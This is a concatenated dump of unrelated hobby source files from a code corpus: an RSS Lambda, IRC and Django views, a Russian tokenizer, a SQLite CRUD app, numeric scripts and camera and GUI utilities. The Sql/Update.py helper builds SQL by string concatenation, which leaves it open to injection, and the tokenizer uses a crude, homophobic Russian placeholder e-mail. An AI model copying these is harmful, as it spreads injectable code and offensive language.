except RequestException as e:\n LOGGER.error(\"Network error in getting RSS Feed\")\n detailed_exception(LOGGER)\n return json_response\n\n\ndef lambda_handler(event, context):\n \"\"\"\n Lambda entry-point\n \"\"\"\n news_link = \"https://news.ok.ubc.ca/feed/\"\n news_items = []\n filtered_news_items = []\n\n response_items = get_news_items_from_web(news_link)\n if len(response_items) == 0:\n return {\"status\": \"No items in RSS Feed\"}\n\n # Iterate through list of raw items and parse them, if there is a parsing error, save the raw item that throws an\n # error to S3\n for item in response_items:\n try:\n news_item = news_parser(item)\n news_items.append(news_item)\n except Exception as e:\n S3_CLIENT.put_object(Body=json.dumps(item, indent=4), Bucket=S3_BUCKET_NAME,\n Key=f'ErrorLog/News/{str(datetime.now(tz=pytz.timezone(\"America/Vancouver\")))[:-13]}.json')\n LOGGER.error(f\"Error in parsing a news item, raw item saved to {S3_BUCKET_NAME}/ErrorLog/News\")\n detailed_exception(LOGGER)\n\n # Filter the parsed items based on last query time to get only new items\n try:\n last_query_time = SSM_CLIENT.get_parameter(Name=\"NewsQueryTime\")[\"Parameter\"][\"Value\"]\n for news_item in news_items:\n if datetime.strptime(last_query_time, \"%Y-%m-%d %H:%M:%S\") \\\n < datetime.strptime(news_item[\"dateModified\"], \"%Y-%m-%d %H:%M:%S\"):\n filtered_news_items.append(news_item)\n SSM_CLIENT.put_parameter(Name=\"NewsQueryTime\",\n Value=str(datetime.now(tz=pytz.timezone(\"America/Vancouver\")))[:-13],\n Overwrite=True)\n except SSM_CLIENT.exceptions.InternalServerError as e:\n LOGGER.error(\"Error in communicating with Parameter store\")\n detailed_exception(LOGGER)\n\n LOGGER.debug(json.dumps(news_items, indent=4))\n LOGGER.debug(json.dumps(filtered_news_items, indent=4))\n\n # Save new items to central data lake S3\n if len(filtered_news_items) != 0:\n S3_CLIENT.put_object(Body=json.dumps(filtered_news_items, indent=4), Bucket=S3_BUCKET_NAME,\n Key=f'News/{str(datetime.now(tz=pytz.timezone(\"America/Vancouver\")))[:-13]}.json')\n\n # Insert items into DynamoDB table with appropriate TTL\n table = DYNAMODB_RESOURCE.Table(NEWS_TABLE)\n for events_item in filtered_news_items:\n events_item[\"expiresOn\"] = get_adjusted_unix_time(events_item[\"dateModified\"], \"%Y-%m-%d %H:%M:%S\",\n EXPIRY_DAYS_OFFSET * 24)\n table.put_item(Item=events_item)\n\n return {\"status\": \"completed\"}\n\n","sub_path":"functions/get_news_data/get_news_data.py","file_name":"get_news_data.py","file_ext":"py","file_size_in_byte":4830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"31526574","text":"#!/usr/bin/env python3\n\n\nimport requests\nimport random\n\n\nclass Plugin:\n def __init__(self, bot):\n self.bot = bot\n bot.register_command(__name__, ['giphy', 'gp'], self.giphy,\n channels=['!##monsterhunter'])\n\n def giphy(self, server, user, channel, *query):\n \"\"\"Searches giphy and returns a random result.\"\"\"\n query = ' '.join(query)\n key = self.bot.settings['giphy_key']\n req = requests.get('http://api.giphy.com/v1/gifs/search?q={}'\n '&api_key={}'.format(query, key))\n data = req.json()\n if data['data'] == []:\n return '[\\x035Giphy\\x03] No results'\n images = random.choice(data['data'])['images']\n return '[\\x033Giphy\\x03] {}'.format(images['original']['url'])\n\n\n","sub_path":"plugins/giphy.py","file_name":"giphy.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"616564774","text":"#-*- encoding: utf-8 -*-\n\nimport sys\nreload(sys).setdefaultencoding(\"utf8\")\n\nimport urllib\nimport urllib2\nimport json\n\ndef reply(url, s):\n try:\n response = urllib2.urlopen(url)\n data = response.read()\n result = json.loads(data.decode(\"utf8\"))\n if result['source']:\n \tre = result['hitokoto'] + \" —— \" + result['author'] + \",\" + result['source']\n else:\n \tre = result['hitokoto'] + \" —— \" + result['author']\n return re.decode(\"utf8\")\n except:\n return \"玩坏掉了。\"","sub_path":"function/webapi/maxim.py","file_name":"maxim.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"10163892","text":"from fix_typos import fix_typos\nimport re\n\ndef comment_to_tokens(comment):\n\ttokens = []\n\tlines = comment.split('\\n')\n\tfor line in lines:\n\t\tline = line.strip()\n\t\tif line:\n\t\t\tline = line.lower()\n\t\t\tline = fix_typos(line)\n\t\t\tline_tokens = str_to_tokens(line)\n\t\t\tif line_tokens:\n\t\t\t\ttokens.extend(line_tokens)\n\t\t\t\ttokens.append('')\n\tif tokens and tokens[-1] != '':\n\t\ttokens.append('')\n\treturn tokens\n\ndef str_to_tokens(s):\n\ttokens = []\n\tfor token in s.split(' '):\n\t\tprocess_token(token, tokens)\n\treturn tokens\n\ndef process_token(token, tokens):\n\ttoken = token.strip()\n\tif not token:\n\t\treturn False\n\n\ttoken = token.strip()\n\tif not token:\n\t\treturn False\n\tif not re.search('[a-zа-яё0-9\\-_–:()^=>$/]', token):\n\t\treturn False\n\n\tif re.match('>+.', token):\n\t\ttokens.append('>')\n\t\treturn process_token(re.sub('^>+', '', token), tokens)\n\n\tif re.fullmatch('[a-fole0-9]{32,}', token):\n\t\treturn False\n\tif re.fullmatch('[a-z0-9.\\-]+@[a-z0-9.\\-]+', token):\n\t\ttokens.append('ti.hui@i.pidor.com')\n\t\treturn True\n\tif token.startswith('chrome://flags'):\n\t\ttokens.append(token)\n\t\treturn True\n\tif re.fullmatch('(https?://)?[a-z0-9.\\-]+\\.(com|net|ru|onion|org)/?[a-zа-яё0-9:/\\-.?=_#$%]+', token):\n\t\ttokens.append(token)\n\t\treturn True\n\n\tif re.fullmatch('т\\.[еодп]\\.?', token):\n\t\ttokens.append(re.sub('\\.?$', '.', token))\n\t\treturn True\n\tif re.fullmatch('.*?[0-9]*т\\.р\\.?', token):\n\t\tif re.search('[0-9]', token):\n\t\t\ttokens.append('т.р.')\n\t\telse:\n\t\t\ttokens.append('т.р.')\n\t\treturn True\n\tif token == '9000':\n\t\ttokens.append(token)\n\t\treturn True\n\tif re.fullmatch('[0-9][\\-+.0-9]*', token):\n\t\ttokens.append('')\n\t\treturn True\n\tif re.match('[0-9][\\-+.0-9]*[\\-/$]*[a-zа-яё]+', token):\n\t\ttokens.append('')\n\t\tsts = re.sub('^[\\-+.0-9]*[0-9](-?)(\\$?)(/?)', '\\\\1 \\\\2 \\\\3 ', token).split(' ')\n\t\tfor st in sts:\n\t\t\tprocess_token(st, tokens)\n\t\treturn True\n\n\tif token == '(нет)':\n\t\ttokens.append(token)\n\t\treturn True\n\n\tif re.fullmatch('.*?:\\)+', token):\n\t\tprocess_token(re.sub(':\\)+$', '', token), tokens)\n\t\ttokens.append(':)')\n\t\treturn True\n\tif re.fullmatch('.*?:\\(+', token):\n\t\tprocess_token(re.sub(':\\(+$', '', token), tokens)\n\t\ttokens.append(':(')\n\t\treturn True\n\tif re.fullmatch('.*?:d+', token):\n\t\tprocess_token(re.sub(':d+$', '', token), tokens)\n\t\ttokens.append(':d')\n\t\treturn True\n\tif re.fullmatch('.*?xd+', token):\n\t\tprocess_token(re.sub('xd+$', '', token), tokens)\n\t\ttokens.append('xd')\n\t\treturn True\n\tif re.fullmatch('.*?:[3з]', token):\n\t\tprocess_token(re.sub(':[3з]+$', '', token), tokens)\n\t\ttokens.append(':3')\n\t\treturn True\n\tif re.fullmatch('.*?\\^_\\^', token):\n\t\tprocess_token(re.sub('\\^_\\^+$', '', token), tokens)\n\t\ttokens.append('^_^')\n\t\treturn True\n\n\tif re.fullmatch('[a-zа-яё]+', token):\n\t\ttokens.append(token)\n\t\treturn True\n\n\tif re.fullmatch('.*?\\)+0+[)0]*', token):\n\t\tprocess_token(re.sub('\\)+0+[)0]*$', '', token), tokens)\n\t\ttokens.append('))0')\n\t\treturn True\n\tif re.fullmatch('.*?\\(+9+[(9]*', token):\n\t\tprocess_token(re.sub('\\(+9+[(9]*$', '', token), tokens)\n\t\ttokens.append('((9')\n\t\treturn True\n\tif re.fullmatch('.*?!*1+[!1]+', token):\n\t\tprocess_token(re.sub('!*1+[!1]+$', '', token), tokens)\n\t\ttokens.append('!!11')\n\t\treturn True\n\tif re.fullmatch('.*?([a-zа-яё])1{3,}', token):\n\t\tprocess_token(re.sub('1{3,}$', '', token), tokens)\n\t\ttokens.append('111')\n\t\treturn True\n\tif re.fullmatch('.*?((\\?+)?(!+\\?+)+)', token):\n\t\tprocess_token(re.sub('(\\?+)?(!+\\?+)+$', '', token), tokens)\n\t\ttokens.append('!?')\n\t\treturn True\n\n\tif re.fullmatch('[a-zа-яё0-9]+', token):\n\t\ttokens.append(token)\n\t\treturn True\n\n\tif re.search('-+>+', token):\n\t\tsts = re.split('-+>+', token)\n\t\tfor i, st in enumerate(sts):\n\t\t\tprocess_token(st, tokens)\n\t\t\tif i < len(sts) - 1:\n\t\t\t\ttokens.append('->')\n\t\treturn True\n\n\ttoken = re.sub('-{2,}', '–', token)\n\n\tfor char in ['.', ',', '!', '?', '(', ')', '-', '_', '+']:\n\t\tif re.fullmatch('.*?' + re.escape(char) + '{2,}', token):\n\t\t\tprocess_token(re.sub(re.escape(char) + '{2,}$', '', token), tokens)\n\t\t\ttokens.append(char * 3)\n\t\t\treturn True\n\tfor char in ['.', ',', '!', '?', '(', ')', '-', '_', '+']:\n\t\tif re.fullmatch(re.escape(char) + '{2,}.*?', token):\n\t\t\ttokens.append(char * 3)\n\t\t\treturn process_token(re.sub('^' + re.escape(char) + '{2,}', '', token), tokens)\n\n\tfor char in ['.', ',', '!', '?', ':', ';', '-', '–', '*', '=', '~', '$']:\n\t\tif re.fullmatch('.*?' + re.escape(char), token):\n\t\t\tprocess_token(re.sub(re.escape(char) + '$', '', token), tokens)\n\t\t\ttokens.append(char)\n\t\t\treturn True\n\tfor char in ['.', ',', '!', '?', ':', ';', '-', '–', '*', '=', '~', '$']:\n\t\tif re.fullmatch(re.escape(char) + '.*', token):\n\t\t\ttokens.append(char)\n\t\t\treturn process_token(re.sub('^' + re.escape(char), '', token), tokens)\n\n\tfor char in ['.', ',', '!', '?', ':', ';', '+', '*', '=', '–']:\n\t\tif re.search(re.escape(char), token):\n\t\t\tsts = re.split(re.escape(char), token)\n\t\t\tfor i, st in enumerate(sts):\n\t\t\t\tif process_token(st, tokens) and i < len(sts) - 1:\n\t\t\t\t\ttokens.append(char)\n\t\t\treturn True\n\n\tif re.search('[a-zа-яё$]+/[a-zа-яё]+', token):\n\t\tsts = token.split('/')\n\t\tfor i, st in enumerate(sts):\n\t\t\tif process_token(st, tokens) and i < len(sts) - 1:\n\t\t\t\ttokens.append('/')\n\t\treturn True\n\n\tif re.fullmatch('[(\\[\\]][a-zа-яё0-9].*', token):\n\t\treturn process_token(re.sub('^[(\\[\\]]', '', token), tokens)\n\tif re.fullmatch('.*?[a-zа-яё0-9][)\\[\\]]', token):\n\t\treturn process_token(re.sub('[)\\[\\]]$', '', token), tokens)\n\n\tif re.search('[()]', token):\n\t\tfor st in re.split('[()]', token):\n\t\t\tprocess_token(st, tokens)\n\t\treturn True\n\n\tif re.search('[.,!?;]-', token):\n\t\tsts = re.sub('([a-zа-яё0-9])([.,!?;])-([a-zа-яё0-9])', '\\\\1 \\\\2 - \\\\3', token).split(' ')\n\t\tfor st in sts:\n\t\t\tprocess_token(st, tokens)\n\t\treturn True\n\n\ttokens.append(token)\n\treturn True\n","sub_path":"parse_utils.py","file_name":"parse_utils.py","file_ext":"py","file_size_in_byte":5725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"520330148","text":"import numpy as np\nimport scipy.linalg as sla\n\n\n\n\ndef normaInfinito(v):\n maxv: float\n maxv = v[0]\n for i in range(0, len(v)):\n if abs(v[i]) >= maxv:\n maxv = abs(v[i])\n return maxv\n\n\ndef normalizarVector(v):\n w = [0]*len(v)\n for i in range(0, len(v)):\n w[i] = v[i] / normaInfinito(v)\n return w\n\n\n\ndef maxNoZero(v):\n return max([x for x in v if x !=0])\n\n\n\ndef productoMatrizVector(m, v):\n rows = len(m)\n w = [0]*rows\n suma = 0\n for j in range(rows):\n mi = m[j]\n for i in range(len(v)):\n suma += mi[i]*v[i]\n w[j], suma = suma, 0\n\n return w\n\n\n\n\n\n\ndef metodoPotenciasInverso(A, x, M,):\n y = []\n r = 0\n r0: float\n i: int\n (P, L, U) = sla.lu(A)\n UInversa = sla.inv(U)\n LInversa = sla.inv(L)\n for i in range(0, M):\n\n print(i, \":\")\n print(\"r =\", r)\n print(\"x =\", np.around(x, 5))\n r0 = x[0]\n x = productoMatrizVector(UInversa, productoMatrizVector(LInversa, x))\n r = x[0]/r0\n x = normalizarVector(x)\n\nmetodoPotenciasInverso([[6, 5, -5],\n [2, 6, -2],\n [2, 5, -1]], [3, 7, -13], 12)\n\n\n\n\n\n\n","sub_path":"Problema5/potenciasInverso.py","file_name":"potenciasInverso.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"49952420","text":"# uncompyle6 version 3.6.7\n# Python bytecode 2.6 (62161)\n# Decompiled from: Python 3.8.2 (tags/v3.8.2:7b3ab59, Feb 25 2020, 23:03:10) [MSC v.1916 64 bit (AMD64)]\n# Embedded file name: build\\bdist.win32\\egg\\pyrrd\\meta.py\n# Compiled at: 2014-01-14 03:50:33\ndisplay_name = 'pyrrd-fix'\nlibrary_name = 'pyrrd'\nversion = '0.1.1'\nauthor = 'Duncan McGreggor'\nauthor_email = 'duncan@canonical.com'\nlicense = 'BSD'\nurl = 'http://code.google.com/p/pyrrd/'\ndescription = 'bug fixed for pyrrd'","sub_path":"pycfiles/pyRRG-0.1.2.tar/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"412176912","text":"# import mysql.connector\nimport os\nimport sqlite3\n\n\n\nconn = sqlite3.connect(\"resep.db\")\ncursor = conn.cursor()\n# cur.execute(\"CREATE TABLE IF NOT EXISTS profile(id INTEGER PRIMARY KEY, First TEXT, Surname TEXT)\")\ncursor.execute('''CREATE TABLE IF NOT EXISTS resep (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n namaResep VARCHAR NOT NULL,\n bahan VARCHAR NOT NULL\n )''')\nconn.commit()\n# conn.close()\n\n#\n# db = mysql.connector.connect(\n# host=\"localhost\",\n# user=\"admin\",\n# passwd=\"admin\",\n# database=\"toko_mainan\"\n# )\n\n\ndef insert_data():\n namaResep = input(\"Masukan nama: \")\n bahan = input(\"Masukan alamat: \")\n # cursor = db.cursor()\n cursor.execute(\"INSERT INTO resep (namaResep, bahan) VALUES (?, ?)\",(namaResep, bahan))\n # db.commit()\n print(\"{} data berhasil disimpan\".format(cursor.rowcount))\n\n\ndef show_data():\n # cursor = db.cursor()\n sql = \"SELECT * FROM resep\"\n cursor.execute(sql)\n results = cursor.fetchall()\n \n # if cursor.rowcount < 0:\n # print(\"Tidak ada data\")\n # else:\n for data in results:\n print(\"Nama Resep\")\n print(data[1])\n\n\ndef update_data(db):\n show_data()\n customer_id = input(\"pilih id customer> \")\n name = input(\"Nama baru: \")\n address = input(\"Alamat baru: \")\n\n sql = \"UPDATE customers SET name=%s, address=%s WHERE customer_id=%s\"\n val = (name, address, customer_id)\n cursor.execute(sql, val)\n db.commit()\n print(\"{} data berhasil diubah\".format(cursor.rowcount))\n\n\n# def delete_data(db):\n# cursor = db.cursor()\n# show_data(db)\n# customer_id = input(\"pilih id customer> \")\n# sql = \"DELETE FROM customers WHERE customer_id=%s\"\n# val = (customer_id,)\n# cursor.execute(sql, val)\n# db.commit()\n# print(\"{} data berhasil dihapus\".format(cursor.rowcount))\n#\n#\n# def search_data(db):\n# cursor = db.cursor()\n# keyword = input(\"Kata kunci: \")\n# sql = \"SELECT * FROM customers WHERE name LIKE %s OR address LIKE %s\"\n# val = (\"%{}%\".format(keyword), \"%{}%\".format(keyword))\n# cursor.execute(sql, val)\n# results = cursor.fetchall()\n#\n# if cursor.rowcount < 0:\n# print(\"Tidak ada data\")\n# else:\n# for data in results:\n# print(data)\n#\n\ndef show_menu():\n print(\"=== APLIKASI DATABASE PYTHON ===\")\n print(\"1. Insert Data\")\n print(\"2. Tampilkan Data\")\n print(\"3. Update Data\")\n print(\"4. Hapus Data\")\n print(\"5. Cari Data\")\n print(\"0. Keluar\")\n print(\"------------------\")\n menu = input(\"Pilih menu> \")\n\n #clear screen\n # os.system(\"clear\")\n\n if menu == \"1\":\n insert_data()\n elif menu == \"2\":\n show_data()\n # elif menu == \"3\":\n # update_data()\n # elif menu == \"4\":\n # delete_data()\n # elif menu == \"5\":\n # search_data()\n elif menu == \"0\":\n exit()\n else:\n print(\"Menu salah!\")\n\n\nif __name__ == \"__main__\":\n while(True):\n show_menu()\n","sub_path":"cruds_app.py","file_name":"cruds_app.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"652376408","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render, get_object_or_404\n\nfrom django.http import HttpResponse\nfrom django.template import loader\n\nfrom olistconnect.models import *\n\nfrom olistconnect.serializers import * \n\nfrom django.views.generic import ListView\n\nfrom rest_framework.views import *\n\n# Create your views here.\n\ndef index(request):\n\t\n\treturn render(request,'base.html')\n\ndef listChannels(request):\n\n\tchannels = Channel.objects.all()\n\tcontext = {\n\t\t'channels' : channels,\n\t}\n\treturn render(request,\"olistconnect/listChannels.html\",context)\n\ndef listCategories(request, channel_name):\n\n\tchannel = Channel.objects.get(name=channel_name)\n\tchannelCategories = channel.category_set.all()\n\t\n\n\tcontext = {\n\t\t'categories' : channelCategories,\n\t\t'channel' : channel\n\t}\n\treturn render(request,\"olistconnect/listCategories.html\",context)\n\ndef showCategory(request, channel_name, category_detail):\n\n\tcategory = Category.objects.get(slug=category_detail)\n\tchannel = channel_name\n\tidparentCategories = CategoryPath.objects.filter(descendant=category)\n\tparentCategories = []\n\tsubcategories = []\n\tfor path in idparentCategories:\n\t\tparentCategories.append(path.ancestor)\n\tiddescendantCategories = CategoryPath.objects.filter(ancestor=category)\n\tfor path in iddescendantCategories:\n\t\tsubcategories.append(path.descendant)\n\tif (parentCategories[0]==None):\n\t\tparentCategories=None\n\telif ( (subcategories[0].name==category.name) and (len(subcategories)==1) ):\n\t\tsubcategories = None\n\tcontext = {\n\t\t'category': category,\n\t\t'subcategories': subcategories,\n\t\t'parentCategories': parentCategories,\n\t\t'channel': channel\n\t}\n\treturn render(request,\"olistconnect/categoryDetail.html\", context)\n\nclass ListChannels(APIView):\n \"\"\"\n View to list all channels in the system.\n\n \"\"\" \n\n def get(self, request, format=None):\n \"\"\"\n get:\n Return a list of all channels.\n \"\"\"\n channels = Channel.objects.all()\n channelSerialized = channelSerializer(channels,many=True)\n return Response(channelSerialized.data)\n\nclass ListCategories(APIView):\n \"\"\"\n View to list all categories in a Channel.\n\n \"\"\" \n\n def get(self, request, channel_name, format=None):\n \"\"\"\n get:\n Return a list of the Channel Categories.\n \"\"\"\n channel = get_object_or_404(Channel, name=channel_name)\n categories = Category.objects.filter(categoryChannel=channel)\n categorySerialized = categorySerializer(categories,many=True)\n return Response(categorySerialized.data)\n\n \nclass ListParentSubCategories(APIView):\n\n\t\"\"\"\n\tView to list the Parent Categories and Subcategories of a Particular Category\n\n\t\"\"\"\n\n\tdef get(self, request, channel_name, category_slug, format=None):\n\t\t\"\"\"\n Return a list of Parents and Sub Categories of a Category\n \"\"\"\n\t\tchannel = get_object_or_404(Channel, name=channel_name)\n\t\tcategory = get_object_or_404(Category, slug=category_slug, categoryChannel=channel )\n\t\tparentCategories = self.getAncestors(category)\n\t\tsubCategories = self.getDescendants(category)\n\n\n\n\n\n\t\tparentSerialized = categorySerializer(parentCategories,many=True)\n\t\tsubSerialized = categorySerializer(subCategories,many=True)\n\n\t\tcontent = {\n\t\t\t'parents': parentSerialized.data,\n\t\t\t'subcategories': subSerialized.data,\n\t\t}\n\n\t\treturn Response(content)\n\n\tdef getAncestors(self,Category):\n\t\t\"\"\"\n Return a Parents list of a Category\n \"\"\"\n\t\tancestors = []\n\t\tidAncestors = CategoryPath.objects.filter(descendant=Category).exclude(ancestor=Category)\n\t\tfor path in idAncestors:\n\t\t\tancestors.append(path.ancestor)\n\n\t\treturn ancestors\n\n\tdef getDescendants(self,Category):\n\t\t\"\"\"\n Return a Subcategory list of a Category\n \"\"\"\n\t\tdescendants = []\n\t\tidDescendants = CategoryPath.objects.filter(ancestor=Category).exclude(descendant=Category)\n\t\tfor path in idDescendants:\n\t\t\tdescendants.append(path.descendant)\n\n\t\treturn descendants\n\n\n\n\n\n\n\n\n\n","sub_path":"work-at-olist/olistconnect/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"581889570","text":"from django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.core.mail import EmailMessage\n\nfrom .forms import ContactForm\n\n\ndef contact(request):\n contact_form = ContactForm\n\n if request.method == 'POST':\n contact_form = ContactForm(data=request.POST)\n if contact_form.is_valid():\n name = request.POST.get('name', '')\n emial = request.POST.get('email', '')\n content = request.POST.get('content', '')\n # Envaimos el Emial\n email = EmailMessage(\n 'La Caffetiera: Curso, Proyecyo Intermedio',\n 'De {} <{}>\\n\\nEscribio:\\n\\n{}'.format(name, emial, content),\n 'no-contestar@inbox.mailtrap.io',\n ['davidsanchezmotran@gmail.com'],\n reply_to=[emial]\n )\n\n try:\n # Si sale bien\n email.send()\n return redirect(reverse('contact') + '?ok')\n except:\n # si Falla\n return redirect(reverse('contact') + '?fail')\n\n return render(request, 'contact/contact.html', {'form': contact_form})\n","sub_path":"webempresa/contact/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"42635611","text":"from time import sleep\nfrom datetime import datetime\nfrom sh import gphoto2 as gp\nimport signal\nimport os\nimport subprocess\n\nshot_date = datetime.now().strftime(\"%Y-%m-%d\")\nprint(shot_date) # 2019-05-19\n\n\ndef capture_cmd():\n shot_time = datetime.now().strftime(\"%Y-%m-%d\" \"%H:%M:%S\")\n triggerAndDownloadWithName = [\n \"--capture-image-and-download\", \"--filename\", shot_time]\n return triggerAndDownloadWithName\n\n\ndef createSaveFolder(save_location):\n try:\n os.chdir(\"/home/pi/Pictures\")\n print(\"Creating folder to save images: \", save_location)\n os.makedirs(save_location)\n os.chdir(save_location)\n current_directory = os.getcwd()\n print(\"Current Directory: \", current_directory)\n except:\n print(\"failed to create the new directory.\")\n\n\ndef captureImage():\n for x in range(0, 10):\n trigger_cmd = capture_cmd()\n gp(trigger_cmd)\n sleep(3)\n\n\ncreateSaveFolder(shot_date)\ncaptureImage()\n","sub_path":"imageCapture.py","file_name":"imageCapture.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"85961061","text":"from py_backup.utils import is_sorted, numbers\n\n\n# class Shell:\n# n = 0\n#\n# @staticmethod\n# def sort(nums):\n# length = len(nums)\n# k = 1\n# while k < length // 3:\n# k = k * 3 + 1\n#\n# while k >= 1:\n# for index in range(k, length): # 这里的步长是 1 不是 k, 这样才能一轮比较后形成 k-th sorted\n# key = nums[index]\n# insert_index = index\n# for inner_index in range(index - k, -1, -k):\n# Shell.n += 1\n# compared_key = nums[inner_index]\n# if key < compared_key:\n# nums[inner_index + k] = compared_key\n# insert_index = inner_index\n# else:\n# break\n# nums[insert_index] = key\n# k = k // 3\n#\n# return nums\n\n\nclass Shell:\n n = 0\n\n @staticmethod\n def sort(nums):\n length = len(nums)\n k = 1\n while k < length // 3:\n k = k * 3 + 1\n\n while k >= 1:\n for outer_index in range(k, length):\n key_index = outer_index\n key = nums[key_index]\n for inner_index in range(outer_index - k, -1, -k):\n compared = nums[inner_index]\n Shell.n += 1\n if key < compared:\n nums[inner_index + k] = compared\n key_index = inner_index\n else:\n break\n nums[key_index] = key\n k = k // 3\n\n return nums\n\nif __name__ == \"__main__\":\n print(numbers)\n\n sorted_numbers = Shell.sort(numbers[:])\n print(sorted_numbers)\n print(is_sorted(numbers, sorted_numbers))\n print(Shell.n)\n","sub_path":"py_backup/sort/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"49360186","text":"from tkinter import *\nfrom tkinter import ttk\nfrom main import main\n\nwindow= Tk() #has the property of all stuff in tkinter\n\nwindow.style=ttk.Style()\n\nwindow.title (\"CRC\")\n\nwindow.wm_state('zoomed')\n\nlabel=Label(text='Get Generator input from a text file',font='sans-serif 20 bold'\n ,fg='#666666',pady=30\n)\n\nlabel.pack()\nlabel.grid(column=0, row=0)\nwindow.columnconfigure(0, weight=1)\n\n\n\nbutton=Button (master=window,text='Select File',command=lambda :main(window),bg='#EA5E3D',activebackground='#000000',fg='#FFFFFF',activeforeground='#FFFFFF',font=\"Helvetica 20\",width=30,height=1)\nbutton.grid(column=0,row=1)\n\n\nwindow.mainloop()\n","sub_path":"Code/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"642326601","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(\n r'^notifications/(?P.*)$',\n views.NotificationView.as_view(),\n name='notifications'\n ),\n url(\n r'^post_payment/(?P.*)$',\n views.PaymentSuccessView.as_view(),\n name='payment_success',\n ),\n url(\n r'^payment_failed/(?P.*)$',\n views.PaymentFailedView.as_view(),\n name='payment_failure',\n ),\n url(\n r'^payment_pending/(?P.*)$',\n views.PaymentPendingView.as_view(),\n name='payment_pending',\n ),\n]\n","sub_path":"django_mercadopago/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"251335237","text":"from Sql.Connect import create_connection\nfrom Sql.DbPath import path\nfrom Sql.Exec import execSql\n\ndef update(column, val,title):\n conn = create_connection(path())\n val = val.replace('\\'', '\\'\\'')\n sql_insert = \"\"\"UPDATE MOVIES SET \"\"\"+column+\"\"\"='\"\"\"+val+\"\"\"' WHERE TITLE='\"\"\"+title+ \"\"\"';\"\"\"\n\n print(sql_insert)\n\n\n\n if conn is not None:\n\n execSql(conn, sql_insert)\n else:\n print(\"Error! cannot create the database connection.\")\n\n\ndef trim():\n conn = create_connection(path())\n sql_insert = \"\"\"UPDATE MOVIES SET TITLE = trim(TITLE);\"\"\"\n\n if conn is not None:\n\n execSql(conn, sql_insert)\n else:\n print(\"Error! cannot create the database connection.\")\n\n\n\n","sub_path":"Sql/Update.py","file_name":"Update.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"622656531","text":"code = \"\"\"\n#include \n\nextern \"C\" float add(int a, int b){\n return a + b + M_PI;\n}\n\"\"\"\ntestmodule = {\n \"type\": \"compiled\",\n \"objects\": {\n \"main\": {\n \"code\": code,\n \"language\": \"cpp\",\n },\n },\n \"link_options\" : [\"-lm\"],\n \"public_header\": {\n \"language\": \"c\",\n \"code\": \"float add(int a, int b);\"\n }\n}\n\nfrom seamless.core import context, cell, transformer, macro_mode_on\nwith macro_mode_on():\n ctx = context(toplevel=True)\n ctx.testmodule = cell(\"plain\")\n ctx.testmodule.set(testmodule)\n tf = ctx.tf = transformer({\n \"a\": (\"input\", \"plain\"),\n \"b\": (\"input\", \"plain\"),\n \"testmodule\": (\"input\", \"plain\", \"module\"),\n \"result\": (\"output\", \"plain\"),\n })\n ctx.testmodule.connect(tf.testmodule)\n tf._debug = {\n \"direct_print\" : True\n }\n tf.a.cell().set(2)\n tf.b.cell().set(3)\n tf.code.cell().set(\"\"\"\nfrom .testmodule import lib\nprint(\"ADD\", lib.add(a,b))\nresult = testmodule.lib.add(a,b)\n \"\"\")\n ctx.result = cell(\"plain\")\n ctx.tf.result.connect(ctx.result)\n\nctx.compute()\nprint(ctx.result.value)\n","sub_path":"tests/lowlevel/compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"189464758","text":"# -*- coding: utf-8 -*-\n\nimport matplotlib.pyplot as plt\nimport numpy\n\nfrom ..core.time import TimeAxis\nfrom ..builders.aggregates import Aggregate\nfrom ..builders.molecules import Molecule\nfrom ..core.managers import eigenbasis_of\nfrom ..qm.propagators.poppropagator import PopulationPropagator \n\nfrom ..utils import derived_type\n\nimport time\n\nclass DFunction2:\n \"\"\"Descrete two-dimensional function \n \n \"\"\"\n def __init__(self, x=None, y=None, z=None):\n pass\n \n def save(self, filename):\n pass\n \n def load(self, filename):\n pass\n \n def plot(self,**kwargs):\n pass \n\n\nclass TwoDSpectrumBase(DFunction2):\n \"\"\"Basic container for two-dimensional spectrum\n \n \n \"\"\"\n \n def __init__(self):\n super().__init__()\n self.data = None\n self.xaxis = None\n self.yaxis = None\n \n self.reph2D = None\n self.nonr2D = None\n\n\n def set_axis_1(self, axis):\n self.xaxis = axis\n \n def set_axis_3(self, axis):\n self.yaxis = axis\n \n 